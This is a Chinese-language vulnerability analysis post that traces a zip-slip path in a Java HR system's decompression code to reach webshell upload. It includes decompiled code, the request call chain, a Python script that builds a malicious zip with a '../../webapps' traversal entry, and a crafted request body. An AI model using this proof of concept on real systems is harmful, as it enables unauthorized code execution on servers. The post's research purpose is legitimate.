问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
突破后缀限制实现任意文件上传
漏洞分析
之前人力系统审计文章中发现了鸡肋的上传点,本着学习的心态看看能不能扩大利用到getshell,于是就有了这篇较坎坷的文章。
突破文件后缀限制实现任意文件上传 ================ 0x00 前情提要 --------- 之前人力系统审计文章中发现了鸡肋的上传点,本着学习的心态看看能不能扩大利用到getshell,于是就有了这篇较坎坷的文章。 0x01 寻找解压点 ---------- 当时有提到白名单过滤可以上传zip,如果我们能找的可控的解压点理论上可以利用zip slip进行getshell。 查看web.xml发现另一处有关上传的servlet:  跟进到其中,发现在uploadMediaFile方法中有相关解压的操作 ```java try { var16 = ",jsp,jspx,bat,exe,jsf,jspf,server,setup,sql,sqlpage,tag,tagf,tagx,class,java,cmd,shs,msi,asp,aspx,net,"; var3 = new FileInputStream(new File(var7 + var6 + var1 + var2)); var15 = new ZipInputStream((InputStream)var3); ZipEntry var17 = null; while((var17 = var15.getNextEntry()) != null) { if (!var17.isDirectory()) { var18 = var17.getName(); var19 = var18.substring(var18.indexOf(".")); if (var16.indexOf("," + var19.toLowerCase() + ",") > -1 || var16.indexOf("," + var19.toLowerCase().substring(1) + ",") > -1) { var14.append("{文件名:\"" + var1 + "\","); var14.append("类型:\"" + var2 + "\","); var14.append("失败原因:此压缩文件中包含不允许上传的文件类型!}"); break; } if (var18.toLowerCase().indexOf("imsmanifest.xml") != -1) { var9 = true; SAXBuilder var20 = new SAXBuilder(); Document var21 = var20.build(var15); var9 = var9 && this.isHashNode(var21); break; } var15.closeEntry(); } } } catch (IOException var44) { var44.printStackTrace(); throw new Exception("zip文件错误"); } finally { PubFunc.closeIoResource(var15); if (var3 != null) { ((InputStream)var3).close(); } } ``` 细细一看,居然对文件名进行了判断 ```java var18 = var17.getName(); var19 = var18.substring(var18.indexOf(".")); if (var16.indexOf("," + var19.toLowerCase() + ",") > -1 || var16.indexOf("," + var19.toLowerCase().substring(1) + ",") > -1) { var14.append("{文件名:\"" + var1 + "\","); var14.append("类型:\"" + var2 + "\","); var14.append("失败原因:此压缩文件中包含不允许上传的文件类型!}"); break; } ``` 这里通过getName获取到压缩包中的文件名,然后通过`var18.substring(var18.indexOf("."));`取得文件后缀,进入if判断,当后缀名在黑名单时报错。 此处看来是行不通了,我们全局搜索如`ZipInputStream`或`ZipEntry`,发现有好多地方有调用  这无异于增加了发现难度,不过根据上面servlet发现其实该`ZipEntry`类其实是该系统自己封装实现的  然后我们用老朋友`jar-analyzer`工具帮我们搜索`com.xxx.xxx.zip.ZipEntry`的`getName`方法调用  除了上述servlet以外还有两处类名基本一样的`savexxxxTrans`中`unZip()`方法有使用  可以看的是将压缩包的文件解压到var2变量控制的目录中,如果我们知道var2的具体位置就可以构造zip slip的恶意压缩包,将webshell解压到web目录下,向上看该方法的调用  目录是由var1也就是压缩包路径和var2确定,相当于在存压缩包的路径创建var2目录解压目录到其中,根据之前上传接口会返回文件全路径,如果var1参数完全可控可以构造恶意压缩包: ```php tomcat/temp/xxxx.zip(ps:1.txt) -解压-> tomcat/temp/$(var2)/1.txt -zipslip-> tomcat/temp/$(var2)/../../webapps/1.txt ``` 那么var1真可控吗 往上到其调用: ```java public void execute() throws GeneralException { String var1 = "yes"; try { ... String var3 = (String)this.getFormHM().get("r5100"); ... String var9 = (String)this.getFormHM().get("newPath"); ... if (!var3.equals("")) { var2.setString("r5100", var3); var12 = this.isZip(var9, var3); ``` 可以看到路径是由是`newPath`控制,且存在`this.getFormHM()`的`hashmap`中。 而根据以往搜索经验却找不到该`execute()`方法的调用,难道是只定义而没调用嘛,那岂不是寄了! 0x03 寻找触发点 ---------- 然而经过我不断的根据和搜查。。。在某配置文件找的了该类的全限名  感觉像是根据`funcid`创建`mainClass`的实例进行执行,一般配置文件都有加载到对象中的过程,于是寻找读取配置文件初始化对象的类和方法。  在`WFMapping#init`中加载配置文件初始化到变量E中,   在`MsgRouter#execute()`方法中会调用`WFMapping#init()`,同时调用`businessProcess.synJavaBeanExecute()`来反射调用对应mainclass中的execute方法,相关代码如下  而`MsgRouter#execute()`方法被`FrameCmd#execute()`所调用  最终在`AjaxController#A()`方法中调用了`FrameCmd#execute()`  而其中用于赋值给FromHM的Var2变量是通过请求参数来控制的 那么`AjaxController`具体如何触发到A方法,我们来看看   首先根据`__type`的值当不是`bymobile`,`byWeiXin`和`byserviceclient`会进行session有效性检查,未授权会提示请登录。 后续会根据`__type`调用到A方法进行hashmap的初始化然后调用execute。   可以看到是获取请求中`__XML`变量的值,通过`C(String var1)`方法将Json字符串转为`RequestCommand`的`hashmap`存入,同时在`A(HttpServletRequest var1, ResponseCommand var2)`方法中将请求中其他键值对存入`hashmap`,之后调用前面`AjaxController#A()`方法,将两个的hashmap合并,一并赋值给`TransInfoView.setFormHM`中。  回顾整个过程 1、`AjaxController`http接口通过请求参数构造`hashmap`,传给`FrameCmd` 2、`FrameCmd`调用`MsgRouter`,后面`MsgRouter`根据`hashmap`中`functionId`值找到具体类反射调用其execute方法,同时将`hashmap`赋值给`FromHM` 3、反射调用`savexxTrans`类的`execute`方法,构造`r5100`和`newpath`参数,使其进入`isZip`方法,最终进入`unZip`解压`newpath`路径代表的zip,实现zip slip解压webshell到web目录 因无需权限的三种`__type`由于环境问题无法调试,故进行认证时的环境变量logonclass变量未知,登录绕过无法分析,所以只能是个后台漏洞,感兴趣的师傅可以自己再研究研究 0x04 漏洞复现 --------- 首先构造恶意压缩包 ```python import zipfile if __name__ == "__main__": try: zipFile = zipfile.ZipFile("poc1.zip", "a", zipfile.ZIP_DEFLATED) info = zipfile.ZipInfo("poc1.zip") zipFile.write("./1.jsp", "../../webapps/xxx/2.jsp", zipfile.ZIP_DEFLATED) zipFile.close() except IOError as e: raise e ``` 上传文件并获取文件路径  然后构造savexxxTrans类所需要的hashmap ```http __xml={"functionId":"xxxxx0098","r5100":"123","newPath":"pymPAATTP2HJBPAATTPTSp3D3B4rfY9KhAbdPAATTP2HJBPAATTPG5D88fn0v7FA6ABeChYeJjq5fcLohhB4gaPAATTP2HJFPAATTPMIiqi5FFXEQqKHZPAATTP2HJFPAATTPrZR64L1hzvI0QApCj0mzlpFOFuzGQIlBSYCwL5nI36C66MJjBwHiBy1Kyx3cPAATTP2HJBPAATTPkHzFwJhiAe0xXuCscfPAATTP2HJBPAATTPPAATTP2HJFPAATTPhUSy6Ih2mpMTae9Z2fOVVPAATTP2HJBPAATTPXPmDGAPAATTP3HJDPAATTPPAATTP3HJDPAATTP"} ``` 这里的newPath因为在其execute中需要进行了加密,解密结果与上传接口返回的fullpath解密结果一致。 然后再对\_\_xml的值进行aes加密(主要是filter中当type为extTrans会进行AES解密) 登录后发送数据包  根目录成功访问jsp文件 
发表于 2025-02-13 10:00:02
阅读 ( 4432 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
中铁13层打工人
77 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!